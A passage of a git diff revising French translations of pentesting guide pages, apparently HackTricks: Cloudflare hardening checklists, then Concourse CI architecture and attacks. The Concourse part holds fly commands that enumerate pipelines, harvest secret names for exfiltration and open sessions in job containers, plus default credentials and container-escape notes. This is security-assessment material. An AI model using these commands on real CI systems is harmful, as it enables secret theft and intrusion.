potentielles** pouvant compromettre la page. ## **Workers** @@ -45,14 +45,14 @@ Sur chaque page de Cloudflare : Sur chaque worker de Cloudflare, vérifiez : - [ ] Les déclencheurs : Qu'est-ce qui fait déclencher le worker ? Un **utilisateur peut-il envoyer des données** qui seront **utilisées** par le worker ? -- [ ] Dans les **`Settings`**, vérifiez les **`Variables`** contenant des **informations sensibles**. +- [ ] Dans les **`Paramètres`**, vérifiez les **`Variables`** contenant des **informations sensibles**. - [ ] Vérifiez le **code du worker** et recherchez des **vulnérabilités** (surtout dans les endroits où l'utilisateur peut gérer l'entrée). - Vérifiez les SSRFs retournant la page indiquée que vous pouvez contrôler. - Vérifiez les XSS exécutant du JS à l'intérieur d'une image svg. - Il est possible que le worker interagisse avec d'autres services internes. Par exemple, un worker peut interagir avec un bucket R2 stockant des informations obtenues à partir de l'entrée. Dans ce cas, il serait nécessaire de vérifier quelles capacités le worker a sur le bucket R2 et comment cela pourrait être abusé à partir de l'entrée utilisateur. > [!WARNING] -> Notez qu'un **Worker reçoit par défaut une URL** telle que `..workers.dev`. L'utilisateur peut le définir sur un **sous-domaine**, mais vous pouvez toujours y accéder avec cette **URL originale** si vous la connaissez. +> Notez qu'en règle générale, un **Worker reçoit une URL** telle que `..workers.dev`. L'utilisateur peut le définir sur un **sous-domaine**, mais vous pouvez toujours y accéder avec cette **URL d'origine** si vous la connaissez. ## R2 @@ -68,10 +68,10 @@ TODO TODO -## Security Center +## Centre de sécurité - [ ] Si possible, exécutez un **scan `Security Insights`** et un **scan `Infrastructure`**, car ils **mettront en évidence** des informations intéressantes sur la **sécurité**. -- [ ] Vérifiez simplement ces informations pour des erreurs de configuration de sécurité et des informations intéressantes. +- [ ] Vérifiez simplement **ces informations** pour des erreurs de configuration de sécurité et des informations intéressantes. ## Turnstile @@ -83,51 +83,51 @@ TODO cloudflare-zero-trust-network.md {{#endref}} -## Bulk Redirects +## Redirections en masse > [!NOTE] -> Contrairement aux [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), les [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) sont essentiellement statiques — ils ne prennent pas en charge les opérations de remplacement de chaîne ou les expressions régulières. Cependant, vous pouvez configurer des paramètres de redirection d'URL qui affectent leur comportement de correspondance d'URL et leur comportement d'exécution. +> Contrairement aux [Redirections dynamiques](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), les [**Redirections en masse**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) sont essentiellement statiques — elles ne prennent pas en charge les opérations de remplacement de chaîne ou les expressions régulières. Cependant, vous pouvez configurer des paramètres de redirection d'URL qui affectent leur comportement de correspondance d'URL et leur comportement d'exécution. -- [ ] Vérifiez que les **expressions** et **exigences** pour les redirections **ont du sens**. +- [ ] Vérifiez que les **expressions** et les **exigences** pour les redirections **ont du sens**. - [ ] Vérifiez également les **points de terminaison cachés sensibles** qui contiennent des informations intéressantes. ## Notifications - [ ] Vérifiez les **notifications.** Ces notifications sont recommandées pour la sécurité : -- `Usage Based Billing` -- `HTTP DDoS Attack Alert` -- `Layer 3/4 DDoS Attack Alert` -- `Advanced HTTP DDoS Attack Alert` -- `Advanced Layer 3/4 DDoS Attack Alert` -- `Flow-based Monitoring: Volumetric Attack` -- `Route Leak Detection Alert` -- `Access mTLS Certificate Expiration Alert` -- `SSL for SaaS Custom Hostnames Alert` -- `Universal SSL Alert` -- `Script Monitor New Code Change Detection Alert` -- `Script Monitor New Domain Alert` -- `Script Monitor New Malicious Domain Alert` -- `Script Monitor New Malicious Script Alert` -- `Script Monitor New Malicious URL Alert` -- `Script Monitor New Scripts Alert` -- `Script Monitor New Script Exceeds Max URL Length Alert` -- `Advanced Security Events Alert` -- `Security Events Alert` -- [ ] Vérifiez toutes les **destinations**, car il pourrait y avoir des **informations sensibles** (authentification http basique) dans les URLs de webhook. Assurez-vous également que les URLs de webhook utilisent **HTTPS**. +- `Facturation basée sur l'utilisation` +- `Alerte d'attaque DDoS HTTP` +- `Alerte d'attaque DDoS de couche 3/4` +- `Alerte d'attaque DDoS HTTP avancée` +- `Alerte d'attaque DDoS de couche 3/4 avancée` +- `Surveillance basée sur le flux : attaque volumétrique` +- `Alerte de détection de fuite de route` +- `Alerte d'expiration de certificat mTLS d'accès` +- `Alerte SSL pour les noms d'hôtes personnalisés SaaS` +- `Alerte SSL universel` +- `Alerte de détection de changement de code nouveau dans le moniteur de script` +- `Alerte de nouveau domaine dans le moniteur de script` +- `Alerte de nouveau domaine malveillant dans le moniteur de script` +- `Alerte de nouveau script malveillant dans le moniteur de script` +- `Alerte de nouvelle URL malveillante dans le moniteur de script` +- `Alerte de nouveaux scripts dans le moniteur de script` +- `Alerte de nouveau script dépassant la longueur maximale de l'URL dans le moniteur de script` +- `Alerte d'événements de sécurité avancés` +- `Alerte d'événements de sécurité` +- [ ] Vérifiez toutes les **destinations**, car il pourrait y avoir des **informations sensibles** (authentification http de base) dans les urls de webhook. Assurez-vous également que les urls de webhook utilisent **HTTPS**. - [ ] En vérification supplémentaire, vous pourriez essayer de **imiter une notification Cloudflare** à un tiers, peut-être que vous pouvez d'une manière ou d'une autre **injecter quelque chose de dangereux**. -## Manage Account +## Gérer le compte -- [ ] Il est possible de voir les **4 derniers chiffres de la carte de crédit**, la **date d'expiration** et l'**adresse de facturation** dans **`Billing` -> `Payment info`**. -- [ ] Il est possible de voir le **type de plan** utilisé dans le compte dans **`Billing` -> `Subscriptions`**. -- [ ] Dans **`Members`**, il est possible de voir tous les membres du compte et leur **rôle**. Notez que si le type de plan n'est pas Enterprise, seuls 2 rôles existent : Administrateur et Super Administrateur. Mais si le **plan utilisé est Enterprise**, [**plus de rôles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) peuvent être utilisés pour suivre le principe du moindre privilège. -- Par conséquent, chaque fois que cela est possible, il est **recommandé** d'utiliser le **plan Enterprise**. -- [ ] Dans Members, il est possible de vérifier quels **membres** ont **2FA activé**. **Chaque** utilisateur devrait l'avoir activé. +- [ ] Il est possible de voir les **4 derniers chiffres de la carte de crédit**, la **date d'expiration** et l'**adresse de facturation** dans **`Facturation` -> `Informations de paiement`**. +- [ ] Il est possible de voir le **type de plan** utilisé dans le compte dans **`Facturation` -> `Abonnements`**. +- [ ] Dans **`Membres`**, il est possible de voir tous les membres du compte et leur **rôle**. Notez que si le type de plan n'est pas Entreprise, seuls 2 rôles existent : Administrateur et Super Administrateur. Mais si le **plan utilisé est Entreprise**, [**plus de rôles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) peuvent être utilisés pour suivre le principe du moindre privilège. +- Par conséquent, chaque fois que cela est possible, il est **recommandé** d'utiliser le **plan Entreprise**. +- [ ] Dans Membres, il est possible de vérifier quels **membres** ont **2FA activé**. **Chaque** utilisateur devrait l'avoir activé. > [!NOTE] -> Notez qu'il est heureusement que le rôle **`Administrator`** ne donne pas de permissions pour gérer les adhésions (**ne peut pas élever les privilèges ou inviter** de nouveaux membres). +> Notez qu'il est heureusement que le rôle **`Administrateur`** ne donne pas de permissions pour gérer les adhésions (**ne peut pas élever les privilèges ou inviter** de nouveaux membres). -## DDoS Investigation +## Enquête DDoS [Consultez cette partie](cloudflare-domains.md#cloudflare-ddos-protection). diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md index 6cbf79e7b..0c9b3f331 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md @@ -2,11 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -Dans chaque TLD configuré dans Cloudflare, il y a des **paramètres généraux et des services** qui peuvent être configurés. Sur cette page, nous allons **analyser les paramètres liés à la sécurité de chaque section :** +Dans chaque TLD configuré dans Cloudflare, il y a des **paramètres et services généraux** qui peuvent être configurés. Sur cette page, nous allons **analyser les paramètres liés à la sécurité de chaque section :**
-### Aperçu +### Vue d'ensemble - [ ] Avoir une idée de **combien** les services du compte sont **utilisés** - [ ] Trouver également le **zone ID** et le **account ID** @@ -36,19 +36,19 @@ TODO ### SSL/TLS -#### **Aperçu** +#### **Vue d'ensemble** -- [ ] Le **chiffrement SSL/TLS** doit être **Complet** ou **Complet (Strict)**. Tout autre enverra du **trafic en clair** à un moment donné. -- [ ] Le **Recommander SSL/TLS** doit être activé +- [ ] Le **chiffrement SSL/TLS** devrait être **Complet** ou **Complet (Strict)**. Tout autre enverra du **trafic en clair** à un moment donné. +- [ ] Le **Recommander SSL/TLS** devrait être activé #### Certificats Edge -- [ ] **Always Use HTTPS** doit être **activé** -- [ ] **HTTP Strict Transport Security (HSTS)** doit être **activé** -- [ ] **La version minimale de TLS doit être 1.2** -- [ ] **TLS 1.3 doit être activé** -- [ ] **Automatic HTTPS Rewrites** doit être **activé** -- [ ] **Certificate Transparency Monitoring** doit être **activé** +- [ ] **Always Use HTTPS** devrait être **activé** +- [ ] **HTTP Strict Transport Security (HSTS)** devrait être **activé** +- [ ] **La version minimale de TLS devrait être 1.2** +- [ ] **TLS 1.3 devrait être activé** +- [ ] **Réécritures automatiques HTTPS** devraient être **activées** +- [ ] **Surveillance de la transparence des certificats** devrait être **activée** ### **Sécurité** @@ -60,22 +60,22 @@ TODO - [ ] Dans la section **`Paramètres`** : - [ ] Vérifier que le **`Niveau de Sécurité`** est **moyen** ou supérieur - [ ] Vérifier que le **`Challenge Passage`** est de 1 heure au maximum -- [ ] Vérifier que le **`Vérification de l'Intégrité du Navigateur`** est **activée** +- [ ] Vérifier que le **`Vérification de l'intégrité du navigateur`** est **activée** - [ ] Vérifier que le **`Support de Privacy Pass`** est **activé** -#### **Protection DDoS CloudFlare** +#### **Protection DDoS de CloudFlare** -- Si vous le pouvez, activez le **Mode de Lutte contre les Bots** ou le **Mode de Lutte contre les Super Bots**. Si vous protégez une API accessible de manière programmatique (depuis une page frontale JS par exemple). Vous pourriez ne pas être en mesure d'activer cela sans rompre cet accès. -- Dans **WAF** : Vous pouvez créer des **limites de taux par chemin URL** ou pour des **bots vérifiés** (règles de limitation de taux), ou pour **bloquer l'accès** basé sur l'IP, le Cookie, le référent...). Ainsi, vous pourriez bloquer les requêtes qui ne proviennent pas d'une page web ou qui n'ont pas de cookie. +- Si vous le pouvez, activez le **Mode de Combat contre les Bots** ou le **Mode de Combat contre les Super Bots**. Si vous protégez une API accessible de manière programmatique (depuis une page frontale JS par exemple). Vous pourriez ne pas être en mesure d'activer cela sans rompre cet accès. +- Dans **WAF** : Vous pouvez créer des **limites de taux par chemin URL** ou pour des **bots vérifiés** (règles de limitation de taux), ou pour **bloquer l'accès** basé sur l'IP, le cookie, le référent...). Ainsi, vous pourriez bloquer les requêtes qui ne proviennent pas d'une page web ou qui n'ont pas de cookie. - Si l'attaque provient d'un **bot vérifié**, au moins **ajoutez une limite de taux** aux bots. - Si l'attaque est dirigée vers un **chemin spécifique**, comme mécanisme de prévention, ajoutez une **limite de taux** dans ce chemin. -- Vous pouvez également **whitelister** des adresses IP, des plages IP, des pays ou des ASN depuis les **Outils** dans WAF. +- Vous pouvez également **mettre sur liste blanche** des adresses IP, des plages IP, des pays ou des ASN dans les **Outils** de WAF. - Vérifiez si les **règles gérées** pourraient également aider à prévenir les exploitations de vulnérabilités. - Dans la section **Outils**, vous pouvez **bloquer ou donner un défi à des IP spécifiques** et **agents utilisateurs.** - Dans DDoS, vous pourriez **remplacer certaines règles pour les rendre plus restrictives**. -- **Paramètres** : Réglez le **Niveau de Sécurité** sur **Élevé** et sur **Sous Attaque** si vous êtes Sous Attaque et que la **Vérification de l'Intégrité du Navigateur est activée**. -- Dans Cloudflare Domains -> Analytics -> Security -> Vérifiez si la **limite de taux** est activée -- Dans Cloudflare Domains -> Security -> Events -> Vérifiez les **Événements malveillants détectés** +- **Paramètres** : Réglez le **Niveau de Sécurité** sur **Élevé** et sur **Sous Attaque** si vous êtes sous attaque et que la **Vérification de l'intégrité du navigateur est activée**. +- Dans Domaines Cloudflare -> Analytique -> Sécurité -> Vérifiez si la **limite de taux** est activée +- Dans Domaines Cloudflare -> Sécurité -> Événements -> Vérifiez les **événements malveillants détectés** ### Accès @@ -101,8 +101,8 @@ TODO ### Réseau -- [ ] Si **`HTTP/2`** est **activé**, **`HTTP/2 to Origin`** doit être **activé** -- [ ] **`HTTP/3 (avec QUIC)`** doit être **activé** +- [ ] Si **`HTTP/2`** est **activé**, **`HTTP/2 to Origin`** devrait être **activé** +- [ ] **`HTTP/3 (avec QUIC)`** devrait être **activé** - [ ] Si la **vie privée** de vos **utilisateurs** est importante, assurez-vous que **`Onion Routing`** est **activé** ### **Trafic** @@ -119,7 +119,7 @@ TODO ### Scrape Shield -- [ ] Vérifiez que l'**Obfuscation des Adresses Email** est **activée** +- [ ] Vérifiez que l'**Obfuscation des adresses email** est **activée** - [ ] Vérifiez que les **Exclusions côté serveur** sont **activées** ### **Zaraz** diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md index b00bfc6c4..628da540c 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md @@ -22,19 +22,19 @@ Dans un compte **Cloudflare Zero Trust Network**, il y a certains **paramètres Sur chaque application : -- [ ] Vérifiez **qui** peut accéder à l'application dans les **Policies** et vérifiez que **seulement** les **utilisateurs** qui **ont besoin d'accès** à l'application peuvent y accéder. +- [ ] Vérifiez **qui** peut accéder à l'application dans les **Policies** et assurez-vous que **seuls** les **utilisateurs** qui **ont besoin d'accès** à l'application peuvent y accéder. - Pour permettre l'accès, des **`Access Groups`** vont être utilisés (et des **règles supplémentaires** peuvent également être définies) - [ ] Vérifiez les **fournisseurs d'identité disponibles** et assurez-vous qu'ils **ne sont pas trop ouverts** - [ ] Dans **`Settings`** : - [ ] Vérifiez que **CORS n'est pas activé** (s'il est activé, vérifiez qu'il est **sécurisé** et qu'il ne permet pas tout) - [ ] Les cookies doivent avoir l'attribut **Strict Same-Site**, **HTTP Only** et le **binding cookie** doit être **activé** si l'application est HTTP. -- [ ] Envisagez également d'activer le **rendu du navigateur** pour une meilleure **protection. Plus d'infos sur** [**l'isolement du navigateur à distance ici**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.** +- [ ] Envisagez également d'activer le **rendu du navigateur** pour une meilleure **protection. Plus d'infos sur** [**l'isolement du navigateur distant ici**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.** #### **Access Groups** -- [ ] Vérifiez que les groupes d'accès générés sont **correctement restreints** aux utilisateurs qu'ils devraient autoriser. +- [ ] Vérifiez que les groupes d'accès générés sont **correctement restreints** aux utilisateurs qu'ils doivent autoriser. - [ ] Il est particulièrement important de vérifier que le **groupe d'accès par défaut n'est pas très ouvert** (il **ne permet pas trop de personnes**) car par **défaut**, quiconque dans ce **groupe** pourra **accéder aux applications**. -- Notez qu'il est possible de donner **accès** à **TOUS** et d'autres **politiques très ouvertes** qui ne sont pas recommandées à moins d'être 100 % nécessaires. +- Notez qu'il est possible de donner **accès** à **TOUS** et d'autres **politiques très ouvertes** qui ne sont pas recommandées sauf si 100 % nécessaire. #### Service Auth @@ -55,7 +55,7 @@ TODO ### Settings - [ ] Vérifiez le **type de plan** -- [ ] Il est possible de voir le **nom du propriétaire de la carte de crédit**, les **derniers 4 chiffres**, la **date d'expiration** et l'**adresse** +- [ ] Il est possible de voir le **nom du propriétaire de la carte de crédit**, **derniers 4 chiffres**, **date d'expiration** et **adresse** - [ ] Il est recommandé d'**ajouter une expiration de siège utilisateur** pour supprimer les utilisateurs qui n'utilisent pas vraiment ce service {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md index 4cf295ed6..d9f41c850 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md @@ -12,21 +12,21 @@ #### ATC : interface web et planificateur de builds -L'ATC est le cœur de Concourse. Il exécute l'**interface web et l'API** et est responsable de toute la **planification** des pipelines. Il **se connecte à PostgreSQL**, qu'il utilise pour stocker les données des pipelines (y compris les journaux de builds). +L'ATC est le cœur de Concourse. Il exécute le **web UI et l'API** et est responsable de toute la **planification** des pipelines. Il **se connecte à PostgreSQL**, qu'il utilise pour stocker les données des pipelines (y compris les journaux de construction). La responsabilité du [checker](https://concourse-ci.org/checker.html) est de vérifier en continu les nouvelles versions des ressources. Le [scheduler](https://concourse-ci.org/scheduler.html) est responsable de la planification des builds pour un job et le [build tracker](https://concourse-ci.org/build-tracker.html) est responsable de l'exécution de tout build planifié. Le [garbage collector](https://concourse-ci.org/garbage-collector.html) est le mécanisme de nettoyage pour supprimer tout objet inutilisé ou obsolète, tel que des conteneurs et des volumes. #### TSA : enregistrement des workers et transfert -Le TSA est un **serveur SSH sur mesure** qui est utilisé uniquement pour **enregistrer** en toute sécurité les [**workers**](https://concourse-ci.org/internals.html#architecture-worker) avec l'[ATC](https://concourse-ci.org/internals.html#component-atc). +La TSA est un **serveur SSH sur mesure** qui est utilisé uniquement pour **enregistrer** en toute sécurité les [**workers**](https://concourse-ci.org/internals.html#architecture-worker) avec l'[ATC](https://concourse-ci.org/internals.html#component-atc). -Le TSA écoute par **défaut sur le port `2222`**, et est généralement co-localisé avec l'[ATC](https://concourse-ci.org/internals.html#component-atc) et se trouve derrière un équilibreur de charge. +La TSA écoute par **défaut sur le port `2222`**, et est généralement colocée avec l'[ATC](https://concourse-ci.org/internals.html#component-atc) et se trouve derrière un équilibreur de charge. -Le **TSA implémente CLI sur la connexion SSH,** prenant en charge [**ces commandes**](https://concourse-ci.org/internals.html#component-tsa). +La **TSA implémente CLI sur la connexion SSH,** prenant en charge [**ces commandes**](https://concourse-ci.org/internals.html#component-tsa). #### Workers -Pour exécuter des tâches, Concourse doit avoir des workers. Ces workers **s'enregistrent** via le [TSA](https://concourse-ci.org/internals.html#component-tsa) et exécutent les services [**Garden**](https://github.com/cloudfoundry-incubator/garden) et [**Baggageclaim**](https://github.com/concourse/baggageclaim). +Pour exécuter des tâches, Concourse doit avoir des workers. Ces workers **s'enregistrent** via la [TSA](https://concourse-ci.org/internals.html#component-tsa) et exécutent les services [**Garden**](https://github.com/cloudfoundry-incubator/garden) et [**Baggageclaim**](https://github.com/concourse/baggageclaim). - **Garden** : C'est l'**API de gestion des conteneurs**, généralement exécutée sur le **port 7777** via **HTTP**. - **Baggageclaim** : C'est l'**API de gestion des volumes**, généralement exécutée sur le **port 7788** via **HTTP**. diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md index b0735fb4f..7163674e7 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md @@ -6,24 +6,24 @@ ### Rôles et Permissions des Utilisateurs -Concourse est livré avec cinq rôles : +Concourse dispose de cinq rôles : - _Concourse_ **Admin** : Ce rôle est uniquement attribué aux propriétaires de l'**équipe principale** (équipe concourse initiale par défaut). Les admins peuvent **configurer d'autres équipes** (par exemple : `fly set-team`, `fly destroy-team`...). Les permissions de ce rôle ne peuvent pas être affectées par RBAC. -- **propriétaire** : Les propriétaires d'équipe peuvent **modifier tout au sein de l'équipe**. -- **membre** : Les membres de l'équipe peuvent **lire et écrire** au sein des **ressources de l'équipe** mais ne peuvent pas modifier les paramètres de l'équipe. -- **opérateur de pipeline** : Les opérateurs de pipeline peuvent effectuer des **opérations de pipeline** telles que déclencher des builds et épingler des ressources, cependant ils ne peuvent pas mettre à jour les configurations de pipeline. -- **spectateur** : Les spectateurs d'équipe ont un accès **"lecture seule" à une équipe** et à ses pipelines. +- **owner** : Les propriétaires d'équipe peuvent **modifier tout au sein de l'équipe**. +- **member** : Les membres de l'équipe peuvent **lire et écrire** au sein des **ressources de l'équipe** mais ne peuvent pas modifier les paramètres de l'équipe. +- **pipeline-operator** : Les opérateurs de pipeline peuvent effectuer des **opérations de pipeline** telles que déclencher des builds et épingler des ressources, cependant ils ne peuvent pas mettre à jour les configurations de pipeline. +- **viewer** : Les visualisateurs d'équipe ont un accès **"lecture seule" à une équipe** et à ses pipelines. > [!NOTE] -> De plus, les **permissions des rôles propriétaire, membre, opérateur de pipeline et spectateur peuvent être modifiées** en configurant RBAC (en configurant plus spécifiquement ses actions). Lisez-en plus à ce sujet ici : [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) +> De plus, les **permissions des rôles owner, member, pipeline-operator et viewer peuvent être modifiées** en configurant RBAC (en configurant plus spécifiquement ses actions). Lisez-en plus à ce sujet dans : [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) Notez que Concourse **groupe les pipelines à l'intérieur des Équipes**. Par conséquent, les utilisateurs appartenant à une Équipe pourront gérer ces pipelines et **plusieurs Équipes** peuvent exister. Un utilisateur peut appartenir à plusieurs Équipes et avoir des permissions différentes à l'intérieur de chacune d'elles. ### Vars & Gestionnaire de Credentials Dans les configurations YAML, vous pouvez configurer des valeurs en utilisant la syntaxe `((_source-name_:_secret-path_._secret-field_))`.\ -[Extrait de la documentation :](https://concourse-ci.org/vars.html#var-syntax) Le **nom de la source est optionnel**, et s'il est omis, le [gestionnaire de credentials à l'échelle du cluster](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) sera utilisé, ou la valeur peut être fournie [statiquement](https://concourse-ci.org/vars.html#static-vars).\ -Le **champ \_secret-field**\_ optionnel spécifie un champ sur le secret récupéré à lire. S'il est omis, le gestionnaire de credentials peut choisir de lire un 'champ par défaut' du credential récupéré si le champ existe.\ +[Selon la documentation :](https://concourse-ci.org/vars.html#var-syntax) Le **source-name est optionnel**, et s'il est omis, le [gestionnaire de credentials à l'échelle du cluster](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) sera utilisé, ou la valeur peut être fournie [statiquement](https://concourse-ci.org/vars.html#static-vars).\ +Le **\_secret-field optionnel**\_ spécifie un champ sur le secret récupéré à lire. S'il est omis, le gestionnaire de credentials peut choisir de lire un 'champ par défaut' à partir du credential récupéré si le champ existe.\ De plus, le _**secret-path**_ et le _**secret-field**_ peuvent être entourés de guillemets doubles `"..."` s'ils **contiennent des caractères spéciaux** comme `.` et `:`. Par exemple, `((source:"my.secret"."field:1"))` définira le _secret-path_ sur `my.secret` et le _secret-field_ sur `field:1`. #### Vars Statiques @@ -34,16 +34,16 @@ Les vars statiques peuvent être spécifiées dans les **étapes de tâches** : file: booklit/ci/unit.yml vars: { tag: 1.13 } ``` -Or en utilisant les `fly` **arguments** suivants : +Ou en utilisant les `fly` **arguments** suivants : -- `-v` ou `--var` `NAME=VALUE` définit la chaîne `VALUE` comme valeur pour la var `NAME`. -- `-y` ou `--yaml-var` `NAME=VALUE` analyse `VALUE` comme YAML et le définit comme valeur pour la var `NAME`. -- `-i` ou `--instance-var` `NAME=VALUE` analyse `VALUE` comme YAML et le définit comme valeur pour la var d'instance `NAME`. Voir [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) pour en savoir plus sur les vars d'instance. -- `-l` ou `--load-vars-from` `FILE` charge `FILE`, un document YAML contenant le mappage des noms de var aux valeurs, et les définit tous. +- `-v` ou `--var` `NAME=VALUE` définit la chaîne `VALUE` comme la valeur pour la var `NAME`. +- `-y` ou `--yaml-var` `NAME=VALUE` analyse `VALUE` comme YAML et le définit comme la valeur pour la var `NAME`. +- `-i` ou `--instance-var` `NAME=VALUE` analyse `VALUE` comme YAML et le définit comme la valeur pour la var d'instance `NAME`. Voir [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) pour en savoir plus sur les vars d'instance. +- `-l` ou `--load-vars-from` `FILE` charge `FILE`, un document YAML contenant le mappage des noms de vars aux valeurs, et les définit tous. #### Gestion des Identifiants -Il existe différentes manières de spécifier un **Gestionnaire d'Identifiants** dans un pipeline, lisez comment dans [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\ +Il existe différentes manières de **spécifier un Gestionnaire d'Identifiants** dans un pipeline, lisez comment dans [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\ De plus, Concourse prend en charge différents gestionnaires d'identifiants : - [Le gestionnaire d'identifiants Vault](https://concourse-ci.org/vault-credential-manager.html) @@ -75,7 +75,7 @@ Pour énumérer un environnement concourse, vous devez d'abord **rassembler des - `fly -t userinfo` > [!NOTE] -> Notez que le **jeton API** est **sauvegardé** par défaut dans `$HOME/.flyrc`, en fouillant une machine, vous pourriez y trouver les identifiants. +> Notez que le **jeton API** est **enregistré** par défaut dans `$HOME/.flyrc`, en fouillant une machine, vous pourriez y trouver les identifiants. #### Équipes & Utilisateurs @@ -90,11 +90,11 @@ Pour énumérer un environnement concourse, vous devez d'abord **rassembler des - **Lister** les pipelines : - `fly -t pipelines -a` -- **Obtenir** le yaml du pipeline (**des informations sensibles** peuvent être trouvées dans la définition) : +- **Obtenez** le yaml du pipeline (**des informations sensibles** peuvent être trouvées dans la définition) : - `fly -t get-pipeline -p ` - Obtenez toutes les **vars déclarées dans la config du pipeline** - `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done` -- Obtenez tous les **noms de secrets de pipeline utilisés** (si vous pouvez créer/modifier un job ou détourner un conteneur, vous pourriez les exfiltrer) : +- Obtenez tous les **noms de secrets de pipelines utilisés** (si vous pouvez créer/modifier un job ou détourner un conteneur, vous pourriez les exfiltrer) : ```bash rm /tmp/secrets.txt; for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do @@ -113,7 +113,7 @@ rm /tmp/secrets.txt - `fly -t workers` - Lister **conteneurs** : - `fly -t containers` -- Lister **constructions** (pour voir ce qui est en cours d'exécution) : +- Lister **builds** (pour voir ce qui est en cours d'exécution) : - `fly -t builds` ### Attaques Concourse @@ -123,13 +123,13 @@ rm /tmp/secrets.txt - admin:admin - test:test -#### Énumération des secrets et des paramètres +#### Énumération des Secrets et paramètres -Dans la section précédente, nous avons vu comment vous pouvez **obtenir tous les noms et variables des secrets** utilisés par le pipeline. Les **variables peuvent contenir des informations sensibles** et le nom des **secrets sera utile plus tard pour essayer de les voler**. +Dans la section précédente, nous avons vu comment vous pouvez **obtenir tous les noms et vars des secrets** utilisés par le pipeline. Les **vars peuvent contenir des informations sensibles** et le nom des **secrets sera utile plus tard pour essayer de les voler**. #### Session à l'intérieur d'un conteneur en cours d'exécution ou récemment exécuté -Si vous avez suffisamment de privilèges (**rôle de membre ou plus**), vous serez en mesure de **lister les pipelines et les rôles** et d'obtenir simplement une **session à l'intérieur** du conteneur `/` en utilisant : +Si vous avez suffisamment de privilèges (**rôle membre ou plus**), vous serez en mesure de **lister les pipelines et les rôles** et d'obtenir simplement une **session à l'intérieur** du conteneur `/` en utilisant : ```bash fly -t tutorial intercept --job pipeline-name/job-name fly -t tutorial intercept # To be presented a prompt with all the options @@ -138,7 +138,7 @@ Avec ces permissions, vous pourriez être en mesure de : - **Voler les secrets** à l'intérieur du **conteneur** - Essayer de **s'échapper** vers le nœud -- Énumérer/Abuser de l'**endpoint de métadonnées cloud** (depuis le pod et depuis le nœud, si possible) +- Énumérer/Abuser de l'endpoint **cloud metadata** (depuis le pod et depuis le nœud, si possible) #### Création/Modification de Pipeline @@ -295,7 +295,7 @@ cat /output Même si le conteneur web a certaines défenses désactivées, il **ne fonctionne pas comme un conteneur privilégié commun** (par exemple, vous **ne pouvez pas** **monter** et les **capacités** sont très **limitées**, donc toutes les façons simples de s'échapper du conteneur sont inutiles). -Cependant, il stocke **des identifiants locaux en texte clair** : +Cependant, il stocke **des identifiants locaux en clair** : ```bash cat /concourse-auth/local-users test:test @@ -332,7 +332,7 @@ select * from users; > [!WARNING] > Ce ne sont que quelques notes intéressantes sur le service, mais comme il n'écoute que sur localhost, ces notes n'auront aucun impact que nous n'avons pas déjà exploité auparavant. -Par défaut, chaque worker concourse exécutera un service [**Garden**](https://github.com/cloudfoundry/garden) sur le port 7777. Ce service est utilisé par le maître Web pour indiquer au worker **ce qu'il doit exécuter** (télécharger l'image et exécuter chaque tâche). Cela semble plutôt bon pour un attaquant, mais il y a quelques bonnes protections : +Par défaut, chaque worker concourse exécutera un [**Garden**](https://github.com/cloudfoundry/garden) sur le port 7777. Ce service est utilisé par le Web master pour indiquer au worker **ce qu'il doit exécuter** (télécharger l'image et exécuter chaque tâche). Cela semble plutôt bon pour un attaquant, mais il y a quelques bonnes protections : - Il est **exposé localement** (127..0.0.1) et je pense que lorsque le worker s'authentifie contre le Web avec le service SSH spécial, un tunnel est créé afin que le serveur web puisse **communiquer avec chaque service Garden** à l'intérieur de chaque worker. - Le serveur web **surveille les conteneurs en cours d'exécution toutes les quelques secondes**, et les conteneurs **inattendus** sont **supprimés**. Donc, si vous voulez **exécuter un conteneur personnalisé**, vous devez **manipuler** la **communication** entre le serveur web et le service garden. @@ -353,7 +353,7 @@ Cependant, des techniques comme **monter** le périphérique /dev du nœud ou re > [!NOTE] > Dans la section précédente, nous avons vu comment s'échapper d'un conteneur privilégié, donc si nous pouvons **exécuter** des commandes dans un **conteneur privilégié** créé par le **travailleur** **actuel**, nous pourrions **s'échapper vers le nœud**. -Notez qu'en jouant avec 